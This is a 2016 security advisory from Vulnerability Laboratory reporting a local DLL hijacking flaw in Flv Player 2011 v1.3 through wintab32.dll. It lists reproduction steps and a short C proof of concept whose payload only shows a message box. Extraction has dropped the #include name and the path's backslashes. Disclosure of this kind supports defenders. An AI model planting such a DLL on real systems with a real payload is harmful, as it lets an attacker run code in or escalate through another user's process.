Document Title: =============== Flv Player 2011 v1.3 - DLL Hijacking Exploit References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=1962 Release Date: ============= 2016-09-29 Vulnerability Laboratory ID (VL-ID): ==================================== 1962 Common Vulnerability Scoring System: ==================================== 4.1 Product & Service Introduction: =============================== FLV Player is a utility that you can use to play files in FLV format, a format often used for videos that are delivered over the Internet. Aside from FLV files, MPEG, MOV, MP4, AVI, SWF, 3GPP and 3GPP2, WMV or RM files can also be played by the utility. (Copy of the Vendor Homepage: http://www.reganam.com/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a dll hijacking exploit in the official Flv Player 2011 v1.3 software. Vulnerability Disclosure Timeline: ================================== 2016-09-30: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Reganam Product: Flv Player 2011 - Software 1.3 Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A local dll injection vulnerability has been discovered in the official Flv Player 2011 v1.3 software. The issue allows local attackers to inject code to vulnerable dynamic link libraries (dll) to compromise the process or to gain higher access privileges. Vulnerable Software: [+] FLV Player Vulnerable Libraries: [+] wintab32.dll Proof of Concept (PoC): ======================= The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll and rename to wintab32.dll 2. Copy wintab32.dll to C:Program FilesFlvplayer2013Flv-Player.exe 3. Launch Flv-Player.exe 4. MessageBox Executed -- PoC Exploit -- #include #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK); return 0; } Security Risk: ============== The security risk of the dll hijacking issue in the dynamic link libraries (dll) is estimated as medium. (CVSS 4.1) Credits & Authors: ================== ZwX - (http://zwx.fr) [http://www.vulnerability-lab.com/show.php?user=ZwX] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™